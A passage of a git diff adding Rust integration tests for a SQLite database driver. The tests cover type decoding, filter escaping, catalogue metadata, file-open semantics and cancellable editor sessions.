+ path: PathBuf, + endpoint: FileEndpoint, +} + +fn quote(name: &str) -> String { + format!("\"{}\"", name.replace('"', "\"\"")) +} + +#[async_trait] +impl ConformanceEngine for SqliteEngine { + fn driver() -> Arc { + Arc::new(SqliteDriver) + } + + async fn start() -> Result { + let directory = tempfile::tempdir().map_err(ConformanceFailure::setup)?; + let path = directory.path().join("conformance.sqlite3"); + create_database(&path).await.map_err(ConformanceFailure::setup)?; + let endpoint = FileEndpoint::open_existing(path.clone()).map_err(ConformanceFailure::setup)?; + Ok(Self { + _directory: directory, + path, + endpoint, + }) + } + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::File(self.endpoint.clone()), + workspace_settings: settings, + liveness, + environment: ConnectEnvironment::new("conformance"), + } + } + + fn scratch_table(&self, name: &str) -> TableRef { + TableRef::unqualified(name) + } + + fn create_scratch_table_sql(&self, table: &TableRef) -> String { + format!( + "CREATE TABLE {} (id integer primary key, label text not null)", + quote(&table.name) + ) + } + + /// SQLite has no sleep, but a recursive CTE without a stop never + /// produces its count. + fn unbounded_statement_sql(&self, marker: &str) -> String { + format!("WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM r) SELECT count(*), '{marker}' FROM r") + } + + /// Hold an exclusive lock on a connection of the engine's own for + /// `hold`, and return a read that waits for it in the busy handler. + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { + let options = SqliteConnectOptions::new().filename(&self.path); + let mut holder = SqliteConnection::connect_with(&options) + .await + .map_err(ConformanceFailure::setup)?; + holder + .execute("BEGIN EXCLUSIVE") + .await + .map_err(ConformanceFailure::setup)?; + tokio::spawn(async move { + tokio::time::sleep(hold).await; + let _ = holder.execute("ROLLBACK").await; + let _ = holder.close().await; + }); + Ok(format!("SELECT count(*), '{marker}' FROM sqlite_schema")) + } + + fn row_source_sql(&self, rows: u64) -> String { + format!("WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM r WHERE n < {rows}) SELECT n FROM r") + } +} + +impl PooledConformanceEngine for SqliteEngine { + const WORKSPACE_POOL_MAX_SIZE: usize = drivers_sqlite::WORKSPACE_POOL_MAX_SIZE; +} + +impl EditorTransactionEngine for SqliteEngine { + fn begin_sql(&self) -> String { + "BEGIN".to_owned() + } + + fn commit_sql(&self) -> String { + "COMMIT".to_owned() + } +} + +// Every stored value is one of five storage classes and all five are +// decoded, so there is no unsupported type to list. SQLite has no +// server statement timeout, so no case bounds DDL by one. +tablepro_test_support::connection_conformance_suite! { + engine: SqliteEngine, + docker: false, + endpoint: file, + pool: pooled, + editor_transactions: true, + unsupported_types: false, + bounded_ddl: false, +} diff --git a/linux/crates/drivers/sqlite/tests/integration/decode.rs b/linux/crates/drivers/sqlite/tests/integration/decode.rs new file mode 100644 index 0000000000..030fe7b564 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/decode.rs @@ -0,0 +1,184 @@ +//! Values come back as the storage class SQLite holds, whatever the +//! column says, and go back the same way. + +use tablepro_core::column::{ColumnKind, FloatWidth, IntegerKind, IntegerWidth}; +use tablepro_core::meta::TableRef; +use tablepro_core::save::{ChangeSet, RowUpdate, plan_save}; +use tablepro_core::{RowLimit, Value}; + +use crate::support::{TestFile, apply, call, query, statement}; + +fn integer() -> ColumnKind { + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true, + }) +} + +#[tokio::test] +async fn count_sum_and_expression_columns_are_typed() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE t (x REAL, n INTEGER)", + "INSERT INTO t VALUES (1.5, 2), (2.5, 3)", + ], + ) + .await + .unwrap(); + + let result = query( + connection.as_ref(), + "SELECT count(*) AS c, sum(x) AS s, n + 1 AS next, 'a' || 'b' AS joined FROM t", + ) + .await; + + assert_eq!( + result.rows[0], + [ + Value::Int(2), + Value::Float64(4.0), + Value::Int(3), + Value::Text("ab".to_owned()) + ] + ); + let kinds: Vec<&ColumnKind> = result.columns.iter().map(|column| &column.column_type.kind).collect(); + assert_eq!(kinds[0], &integer()); + assert_eq!(kinds[1], &ColumnKind::Float(FloatWidth::F64)); + assert_eq!(kinds[2], &integer()); + assert!(matches!(kinds[3], ColumnKind::Text { .. }), "{:?}", kinds[3]); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn decimal_declared_column_decodes_storage_class() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE prices (id INTEGER PRIMARY KEY, amount DECIMAL(10,2))", + "INSERT INTO prices (amount) VALUES (12), (1.25), ('n/a'), (x'00ff'), (NULL), ('007')", + ], + ) + .await + .unwrap(); + + let result = query(connection.as_ref(), "SELECT amount FROM prices ORDER BY id").await; + + let amounts: Vec = result.rows.into_iter().map(|mut row| row.remove(0)).collect(); + assert_eq!( + amounts, + [ + Value::Int(12), + Value::Float64(1.25), + Value::Text("n/a".to_owned()), + Value::Bytes(vec![0x00, 0xff]), + Value::Null, + // Numeric affinity turns text that reads as a number into one. + Value::Int(7), + ] + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn strict_table_round_trip() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE fixed (id INTEGER PRIMARY KEY, n INTEGER, r REAL, t TEXT, b BLOB) STRICT", + "INSERT INTO fixed VALUES (1, 9223372036854775807, 0.1, 'é', x'00')", + ], + ) + .await + .unwrap(); + let table = TableRef::unqualified("fixed"); + let columns = connection.fetch_columns(&table, call()).await.unwrap(); + let identity = connection.row_identity(&table, call()).await.unwrap(); + let read = query(connection.as_ref(), "SELECT id, n, r, t, b FROM fixed").await; + let row = read.rows[0].clone(); + + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![row[0].clone()], + assignments: vec![ + (1, Value::Int(i64::MIN)), + (2, Value::Float64(-0.25)), + (3, Value::Text("ü'".to_owned())), + (4, Value::Bytes(vec![1, 2, 3])), + ], + }], + ..ChangeSet::default() + }; + let dialect = connection.dialect(); + let plan = plan_save(dialect.as_ref(), &table, &columns, &identity, &changes).unwrap(); + connection.write_batch(&plan.batch, call()).await.unwrap(); + let after = connection + .query_bound( + &statement("SELECT n, r, t, b FROM fixed"), + RowLimit::EDITOR_DEFAULT, + call(), + ) + .await + .unwrap(); + + assert_eq!( + row[1..], + [ + Value::Int(i64::MAX), + Value::Float64(0.1), + Value::Text("é".to_owned()), + Value::Bytes(vec![0]) + ] + ); + assert_eq!( + after.rows[0], + [ + Value::Int(i64::MIN), + Value::Float64(-0.25), + Value::Text("ü'".to_owned()), + Value::Bytes(vec![1, 2, 3]) + ] + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn a_date_column_keeps_the_spelling_it_was_written_with() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE stamps (id INTEGER PRIMARY KEY, at DATETIME, note TEXT)", + "INSERT INTO stamps (at, note) VALUES ('2024-06-15T13:45:30Z', 'a')", + ], + ) + .await + .unwrap(); + let table = TableRef::unqualified("stamps"); + let columns = connection.fetch_columns(&table, call()).await.unwrap(); + let read = query(connection.as_ref(), "SELECT at FROM stamps").await; + let at = read.rows[0][0].clone(); + + // The value names its own row, so a save keyed by it must match the + // row as stored, T and Z included. + let changes = ChangeSet { + deletes: vec![vec![Value::Int(1)]], + ..ChangeSet::default() + }; + let identity = connection.row_identity(&table, call()).await.unwrap(); + let dialect = connection.dialect(); + let plan = plan_save(dialect.as_ref(), &table, &columns, &identity, &changes).unwrap(); + let report = connection.write_batch(&plan.batch, call()).await.unwrap(); + + assert_eq!(at, Value::Text("2024-06-15T13:45:30Z".to_owned())); + assert!(matches!(columns[1].column_type.kind, ColumnKind::Timestamp { .. })); + assert_eq!(report.rows_affected, [Some(1)]); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/integration/dialect.rs b/linux/crates/drivers/sqlite/tests/integration/dialect.rs new file mode 100644 index 0000000000..03a3efed93 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/dialect.rs @@ -0,0 +1,72 @@ +//! The dialect's filters against SQLite itself. + +use tablepro_core::Connection; +use tablepro_core::browse::build_count; +use tablepro_core::filter::{FilterOp, FilterRule, FilterSet, FilterValue}; +use tablepro_core::meta::TableRef; + +use crate::support::{TestFile, apply, call}; + +async fn matching(connection: &dyn Connection, table: &TableRef, op: FilterOp, text: &str) -> u64 { + let columns = connection.fetch_columns(table, call()).await.unwrap(); + let filter = FilterSet { + rules: vec![FilterRule { + column: "name".to_owned(), + op, + value: Some(FilterValue::Single(text.to_owned())), + }], + ..FilterSet::default() + }; + let dialect = connection.dialect(); + let count = build_count(dialect.as_ref(), table, &columns, &filter).unwrap(); + connection.count_rows(&count, call()).await.unwrap() +} + +#[tokio::test] +async fn like_escape_matches_literal_underscore_and_percent() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE names (name TEXT)", + "INSERT INTO names VALUES ('user_id'), ('userXid'), ('50%'), ('500')", + ], + ) + .await + .unwrap(); + let table = TableRef::unqualified("names"); + + assert_eq!( + matching(connection.as_ref(), &table, FilterOp::Contains, "user_id").await, + 1 + ); + assert_eq!( + matching(connection.as_ref(), &table, FilterOp::Contains, "50%").await, + 1 + ); + assert_eq!( + matching(connection.as_ref(), &table, FilterOp::StartsWith, "user").await, + 2 + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn insensitive_filter_matches_mixed_case() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE names (name TEXT)", + "INSERT INTO names VALUES ('Alpha'), ('beta')", + ], + ) + .await + .unwrap(); + let table = TableRef::unqualified("names"); + + assert_eq!(matching(connection.as_ref(), &table, FilterOp::Ilike, "%aLP%").await, 1); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/integration/main.rs b/linux/crates/drivers/sqlite/tests/integration/main.rs new file mode 100644 index 0000000000..3009721528 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/main.rs @@ -0,0 +1,24 @@ +//! The SQLite driver against real database files. No server is needed, +//! so these run in the fast CI job. +//! +//! Every module is test-only code: `cfg(test)` is what lets the shared +//! helpers fail a case with `unwrap`, as the case bodies do. + +#[cfg(test)] +mod catalog; +#[cfg(test)] +mod conformance_engine; +#[cfg(test)] +mod decode; +#[cfg(test)] +mod dialect; +#[cfg(test)] +mod metadata; +#[cfg(test)] +mod open_semantics; +#[cfg(test)] +mod sessions; +#[cfg(test)] +mod support; +#[cfg(test)] +mod write_batch_foreign_keys; diff --git a/linux/crates/drivers/sqlite/tests/integration/metadata.rs b/linux/crates/drivers/sqlite/tests/integration/metadata.rs new file mode 100644 index 0000000000..3a741d5922 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/metadata.rs @@ -0,0 +1,357 @@ +//! The catalogue as the sidebar, the grid and the structure tab read it. + +use tablepro_core::ddl::ReferentialAction; +use tablepro_core::meta::{ + EngineRowId, IndexInfo, IndexKey, ObjectKind, ObjectScope, RowCountEstimate, RowIdentity, TableRef, +}; +use tablepro_core::{Connection, RowLimit, Value}; + +use crate::support::{TestFile, apply, call, create_database, query, statement}; + +fn table(name: &str) -> TableRef { + TableRef::unqualified(name) +} + +async fn index(connection: &dyn Connection, table_name: &str, name: &str) -> IndexInfo { + connection + .fetch_indexes(&table(table_name), call()) + .await + .unwrap() + .into_iter() + .find(|index| index.name == name) + .unwrap() +} + +#[tokio::test] +async fn expression_desc_partial_index_keys() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE t (a TEXT, \"b,c\" INTEGER)", + "CREATE INDEX i ON t (substr(a, 1, 3), \"b,c\" DESC) WHERE a <> 'x,y'", + ], + ) + .await + .unwrap(); + + let index = index(connection.as_ref(), "t", "i").await; + + assert_eq!( + index.keys, + [ + IndexKey::Expression { + sql: "substr(a, 1, 3)".to_owned(), + descending: false + }, + IndexKey::Column { + name: "b,c".to_owned(), + descending: true + }, + ] + ); + assert_eq!(index.predicate.as_deref(), Some("a <> 'x,y'")); + assert!(!index.unique && !index.primary); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn views_listed_and_attached_schema_listed() { + let file = TestFile::new().await; + let other = file.directory().join("other.sqlite3"); + create_database(&other).await.unwrap(); + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE people (id INTEGER PRIMARY KEY)", + "CREATE VIEW everyone AS SELECT * FROM people", + ], + ) + .await + .unwrap(); + let attach = format!("ATTACH DATABASE '{}' AS archive", other.display()); + connection + .query_bound(&statement(&attach), RowLimit::EDITOR_DEFAULT, call()) + .await + .unwrap(); + query(connection.as_ref(), "CREATE TABLE archive.old_people (id INTEGER)").await; + + let schemas = connection.list_schemas(call()).await.unwrap(); + let main_objects = connection + .list_objects(&ObjectScope::DefaultSchema, call()) + .await + .unwrap(); + let archived = connection + .list_objects(&ObjectScope::Schema("archive".to_owned()), call()) + .await + .unwrap(); + + let names: Vec<(&str, bool)> = schemas + .iter() + .map(|schema| (schema.name.as_str(), schema.is_default)) + .collect(); + assert_eq!(names, [("main", true), ("archive", false)]); + let listed: Vec<(&str, ObjectKind)> = main_objects + .iter() + .map(|object| (object.name.as_str(), object.kind)) + .collect(); + assert_eq!(listed, [("everyone", ObjectKind::View), ("people", ObjectKind::Table)]); + assert!(main_objects.iter().all(|object| object.schema.is_none())); + assert_eq!(archived.len(), 1); + assert_eq!(archived[0].schema.as_deref(), Some("archive")); + let archived_columns = connection + .fetch_columns(&TableRef::new(Some("archive".to_owned()), "old_people"), call()) + .await + .unwrap(); + assert_eq!(archived_columns.len(), 1); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn rowid_identity_for_keyless_table() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE loose (a TEXT, b TEXT)", + "CREATE VIEW loose_view AS SELECT * FROM loose", + "CREATE TABLE shadowed (rowid TEXT, b TEXT)", + ], + ) + .await + .unwrap(); + + let identity = connection.row_identity(&table("loose"), call()).await.unwrap(); + let view = connection.row_identity(&table("loose_view"), call()).await.unwrap(); + let shadowed = connection.row_identity(&table("shadowed"), call()).await.unwrap(); + + assert_eq!(identity, RowIdentity::EngineRowId(EngineRowId::SqliteRowid)); + assert_eq!(view, RowIdentity::Unordered, "a view has no rowid"); + assert_eq!(shadowed, RowIdentity::Unordered, "a column named rowid hides the rowid"); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn a_unique_index_over_not_null_columns_identifies_rows() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE codes (code TEXT NOT NULL, region TEXT NOT NULL, note TEXT)", + "CREATE UNIQUE INDEX codes_partial ON codes (note) WHERE note IS NOT NULL", + "CREATE UNIQUE INDEX codes_key ON codes (region, code)", + ], + ) + .await + .unwrap(); + + let identity = connection.row_identity(&table("codes"), call()).await.unwrap(); + + assert_eq!( + identity, + RowIdentity::UniqueKey { + columns: vec!["region".to_owned(), "code".to_owned()] + } + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn autoincrement_detected_via_sqlite_sequence() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE t (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT)", + "INSERT INTO t (name) VALUES ('a')", + ], + ) + .await + .unwrap(); + + let columns = connection.fetch_columns(&table("t"), call()).await.unwrap(); + + assert!(columns[0].is_auto_increment, "the AUTOINCREMENT id was not flagged"); + assert!(!columns[1].is_auto_increment); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn integer_primary_key_no_autoincrement_is_rowid_alias() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &["CREATE TABLE t (id INTEGER PRIMARY KEY, name TEXT)"], + ) + .await + .unwrap(); + + let columns = connection.fetch_columns(&table("t"), call()).await.unwrap(); + let indexes = connection.fetch_indexes(&table("t"), call()).await.unwrap(); + + assert!(columns[0].is_auto_increment); + assert!(columns[0].primary_key); + let primary: Vec<&IndexInfo> = indexes.iter().filter(|index| index.primary).collect(); + assert_eq!(primary.len(), 1, "the rowid key has no index, so one is shown for it"); + assert_eq!(primary[0].key_columns(), ["id"]); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn integer_primary_key_with_default_is_not_auto_increment() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &["CREATE TABLE t (id INTEGER PRIMARY KEY DEFAULT 0, name TEXT)"], + ) + .await + .unwrap(); + + let columns = connection.fetch_columns(&table("t"), call()).await.unwrap(); + + assert!(!columns[0].is_auto_increment); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn composite_primary_key_no_auto_increment() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &["CREATE TABLE t (a INTEGER, b TEXT, PRIMARY KEY (a, b))"], + ) + .await + .unwrap(); + + let columns = connection.fetch_columns(&table("t"), call()).await.unwrap(); + let identity = connection.row_identity(&table("t"), call()).await.unwrap(); + + assert!(!columns[0].is_auto_increment); + assert!(!columns[1].is_auto_increment); + assert_eq!( + identity, + RowIdentity::UniqueKey { + columns: vec!["a".to_owned(), "b".to_owned()] + } + ); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn column_named_autoincrement_substring_is_not_flagged() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &["CREATE TABLE t (id INTEGER PRIMARY KEY, autoincrementflag INTEGER)"], + ) + .await + .unwrap(); + + let columns = connection.fetch_columns(&table("t"), call()).await.unwrap(); + + assert!(columns[0].is_auto_increment, "id is INTEGER PRIMARY KEY, the rowid"); + assert!(!columns[1].is_auto_increment); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn a_table_with_an_embedded_quote_in_its_name_reads() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE \"weird\"\"name\" (i INTEGER)", + "INSERT INTO \"weird\"\"name\" VALUES (1), (2)", + ], + ) + .await + .unwrap(); + + let columns = connection.fetch_columns(&table("weird\"name"), call()).await.unwrap(); + let dialect = connection.dialect(); + let rows = query( + connection.as_ref(), + &format!("SELECT * FROM {}", dialect.qualify(&table("weird\"name"))), + ) + .await; + + assert_eq!(columns.len(), 1); + assert_eq!(rows.rows.len(), 2); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn foreign_keys_read_with_their_actions_and_implied_parent_key() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE people (id INTEGER PRIMARY KEY)", + "CREATE TABLE orders (id INTEGER PRIMARY KEY, person INTEGER REFERENCES people ON DELETE CASCADE)", + ], + ) + .await + .unwrap(); + + let keys = connection.fetch_foreign_keys(&table("orders"), call()).await.unwrap(); + + assert_eq!(keys.len(), 1); + assert_eq!(keys[0].ref_table, "people"); + assert_eq!(keys[0].columns, ["person"]); + assert_eq!( + keys[0].ref_columns, + ["id"], + "a key naming no column points at the primary key" + ); + assert_eq!(keys[0].on_delete, Some(ReferentialAction::Cascade)); + assert_eq!(keys[0].on_update, Some(ReferentialAction::NoAction)); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn table_estimate_reads_sqlite_stat1() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE t (a INTEGER)", + "CREATE INDEX t_a ON t (a)", + "INSERT INTO t SELECT value FROM json_each('[1,2,3,4,5]')", + ], + ) + .await + .unwrap(); + let before = connection.table_estimate(&table("t"), call()).await.unwrap(); + apply(connection.as_ref(), &["ANALYZE"]).await.unwrap(); + + let after = connection.table_estimate(&table("t"), call()).await.unwrap(); + + assert_eq!(before.rows, RowCountEstimate::Unknown); + assert_eq!(after.rows, RowCountEstimate::Approximate(5)); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn a_missing_table_is_an_error_not_an_empty_list() { + let file = TestFile::new().await; + let connection = file.open().await; + + let columns = connection.fetch_columns(&table("nowhere"), call()).await; + + assert!(columns.is_err(), "{columns:?}"); + let count = query(connection.as_ref(), "SELECT count(*) FROM sqlite_schema").await; + assert_eq!(count.rows[0][0], Value::Int(0)); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/integration/open_semantics.rs b/linux/crates/drivers/sqlite/tests/integration/open_semantics.rs new file mode 100644 index 0000000000..80f989801e --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/open_semantics.rs @@ -0,0 +1,197 @@ +//! What opening a path does: open what is there, create only when +//! asked, and replace atomically. + +use std::os::unix::fs::PermissionsExt; +use std::path::PathBuf; + +use tablepro_core::{DriverError, ErrorCategory, FileEndpoint, Value, WorkspaceSettings}; +use tokio_util::sync::CancellationToken; + +use crate::support::{TestFile, apply, connect, create_database, query, writable}; + +#[tokio::test] +async fn open_existing_missing_path_file_not_found_no_file_created() { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("missing.sqlite3"); + + let opened = connect(FileEndpoint::open_existing(path.clone()).unwrap(), writable()).await; + + assert!( + matches!(&opened, Err(DriverError::FileNotFound { path: missing }) if *missing == path), + "{:?}", + opened.err() + ); + assert!(!path.exists(), "opening a missing path created a file"); +} + +#[tokio::test] +async fn create_new_replaces_existing_database_atomically() { + let file = TestFile::new().await; + let old = file.open().await; + apply(old.as_ref(), &["CREATE TABLE old_table (a)"]).await.unwrap(); + old.close().await.unwrap(); + + let created = connect(FileEndpoint::create_new(file.path.clone()).unwrap(), writable()) + .await + .unwrap(); + + let tables = query(created.as_ref(), "SELECT count(*) FROM sqlite_schema").await; + assert_eq!(tables.rows[0][0], Value::Int(0), "the old tables survived the replace"); + let mode = std::fs::metadata(&file.path).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600); + created.close().await.unwrap(); +} + +#[tokio::test] +async fn create_new_removes_stale_wal_and_shm_sidecars() { + let file = TestFile::new().await; + let sidecars: Vec = ["-wal", "-shm", "-journal"] + .iter() + .map(|suffix| PathBuf::from(format!("{}{suffix}", file.path.display()))) + .collect(); + for sidecar in &sidecars { + std::fs::write(sidecar, b"stale journal from the replaced database").unwrap(); + } + + let created = connect(FileEndpoint::create_new(file.path.clone()).unwrap(), writable()) + .await + .unwrap(); + + for sidecar in &sidecars { + assert!( + !sidecar.exists(), + "{} was left beside the new database", + sidecar.display() + ); + } + created.close().await.unwrap(); +} + +#[tokio::test] +async fn create_new_missing_parent_file_not_found() { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("no such directory").join("new.sqlite3"); + + let created = connect(FileEndpoint::create_new(path.clone()).unwrap(), writable()).await; + + assert!( + matches!(&created, Err(DriverError::FileNotFound { path: missing }) if *missing == path), + "{:?}", + created.err() + ); +} + +#[tokio::test] +async fn reconnect_new_database_with_for_reopen_keeps_tables() { + let directory = tempfile::tempdir().unwrap(); + let endpoint = FileEndpoint::create_new(directory.path().join("new.sqlite3")).unwrap(); + let created = connect(endpoint.clone(), writable()).await.unwrap(); + apply(created.as_ref(), &["CREATE TABLE kept (a)"]).await.unwrap(); + created.close().await.unwrap(); + + let reopened = connect(endpoint.for_reopen(), writable()).await.unwrap(); + + let tables = query(reopened.as_ref(), "SELECT name FROM sqlite_schema").await; + assert_eq!(tables.rows, vec![vec![Value::Text("kept".to_owned())]]); + reopened.close().await.unwrap(); +} + +#[tokio::test] +async fn path_with_question_mark_and_percent41_opens_literal_file() { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("odd?mode=memory&x=%41.sqlite3"); + create_database(&path).await.unwrap(); + + let opened = connect(FileEndpoint::open_existing(path.clone()).unwrap(), writable()) + .await + .unwrap(); + apply(opened.as_ref(), &["CREATE TABLE on_disk (a)"]).await.unwrap(); + opened.close().await.unwrap(); + + let names: Vec<_> = std::fs::read_dir(directory.path()) + .unwrap() + .map(|entry| entry.unwrap().file_name()) + .collect(); + assert_eq!(names, [std::ffi::OsString::from("odd?mode=memory&x=%41.sqlite3")]); + assert!( + std::fs::metadata(&path).unwrap().len() > 0, + "the table did not reach the named file" + ); +} + +#[tokio::test] +async fn read_only_insert_is_read_only() { + let file = TestFile::new().await; + let owner = file.open().await; + apply(owner.as_ref(), &["CREATE TABLE t (a)"]).await.unwrap(); + let reader = connect(file.endpoint(), WorkspaceSettings::workspace(true)) + .await + .unwrap(); + let session = reader + .open_editor_session(Default::default(), CancellationToken::new()) + .await + .unwrap(); + + let (summary, _) = crate::support::run(session.as_ref(), "INSERT INTO t VALUES (1)").await; + + let tablepro_core::RunEnd::Failed(error) = &summary.end else { + panic!("the insert ended {:?}", summary.end); + }; + assert!( + matches!( + error, + DriverError::ReadOnly(tablepro_core::ReadOnlyRefusal::ServerRejected(_)) + ), + "{error:?}" + ); + assert_eq!(error.category(), ErrorCategory::ReadOnly); + session.close().await; + reader.close().await.unwrap(); + owner.close().await.unwrap(); +} + +#[tokio::test] +async fn reconnect_after_move_file_not_found() { + let file = TestFile::new().await; + let moved = file.directory().join("moved.sqlite3"); + std::fs::rename(&file.path, &moved).unwrap(); + + let reopened = connect(file.endpoint(), writable()).await; + + assert!( + matches!(&reopened, Err(DriverError::FileNotFound { .. })), + "{:?}", + reopened.err() + ); +} + +#[tokio::test] +async fn not_a_database_file_is_not_a_database() { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("notes.txt"); + std::fs::write( + &path, + "these are notes, not a database, and they are long enough to have a header", + ) + .unwrap(); + + let opened = connect(FileEndpoint::open_existing(path.clone()).unwrap(), writable()).await; + + assert!( + matches!(&opened, Err(DriverError::NotADatabase { path: refused }) if *refused == path), + "{:?}", + opened.err() + ); +} + +#[tokio::test] +async fn the_server_info_names_the_library() { + let file = TestFile::new().await; + let connection = file.open().await; + + let info = connection.server_info(); + + assert_eq!(info.product, "SQLite"); + assert!(info.at_least(3, 37, 0), "{info:?}"); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/integration/sessions.rs b/linux/crates/drivers/sqlite/tests/integration/sessions.rs new file mode 100644 index 0000000000..e18a214ffb --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/sessions.rs @@ -0,0 +1,331 @@ +//! Editor sessions and the workspace connection, side by side. + +use std::time::Duration; + +use tablepro_core::{ + CallOptions, DriverError, EditorSessionOptions, EditorSessionState, ErrorCategory, ReadStatement, ResultEvent, + RowLimit, RunEnd, RunOptions, TransactionState, Truncation, UserSql, Value, WorkspaceSettings, WriteKind, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::support::{TestFile, apply, batch, call, connect, query, run, run_with, statement}; + +const UNBOUNDED: &str = "WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM r) SELECT count(*) FROM r"; + +#[tokio::test] +async fn temp_table_visible_across_runs() { + let file = TestFile::new().await; + let connection = file.open().await; + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + + run( + session.as_ref(), + "CREATE TEMP TABLE scratch (a); INSERT INTO scratch VALUES (7)", + ) + .await; + let (summary, collected) = run(session.as_ref(), "SELECT a FROM scratch").await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(collected.rows(), vec![vec![Value::Int(7)]]); + session.close().await; + connection.close().await.unwrap(); +} + +/// sqlite re-prepares a statement whose table changed shape, so the same +/// text can come back with more columns than the first run had. +#[tokio::test] +async fn select_star_after_add_column_reads_the_new_column() { + let file = TestFile::new().await; + let connection = file.open().await; + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + run(session.as_ref(), "CREATE TABLE grown (a); INSERT INTO grown VALUES (1)").await; + run(session.as_ref(), "SELECT * FROM grown").await; + + run(session.as_ref(), "ALTER TABLE grown ADD COLUMN b DEFAULT 2").await; + let (summary, collected) = run(session.as_ref(), "SELECT * FROM grown").await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(collected.rows(), vec![vec![Value::Int(1), Value::Int(2)]]); + session.close().await; + connection.close().await.unwrap(); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn recursive_cte_cancelled() { + let file = TestFile::new().await; + let connection = file.open().await; + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + let cancel = CancellationToken::new(); + let stopper = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(300)).await; + stopper.cancel(); + }); + + let started = Instant::now(); + let (summary, _) = run_with(session.as_ref(), UNBOUNDED, RunOptions::new(cancel)).await; + + assert_eq!(summary.end, RunEnd::Cancelled); + assert!( + started.elapsed() < Duration::from_secs(2), + "the cancel took {:?}", + started.elapsed() + ); + assert_eq!(session.state(), EditorSessionState::Ready); + let (after, _) = run(session.as_ref(), "SELECT 1").await; + assert_eq!(after.end, RunEnd::Completed); + session.close().await; + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn a_run_past_its_deadline_times_out_on_the_server() { + let file = TestFile::new().await; + let connection = file.open().await; + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + let bounded = RunOptions::new(CancellationToken::new()).with_deadline(Some(Duration::from_millis(200))); + + let (summary, _) = run_with(session.as_ref(), UNBOUNDED, bounded).await; + + assert_eq!(summary.end, RunEnd::TimedOut { server_cancelled: true }); + session.close().await; + connection.close().await.unwrap(); +} + 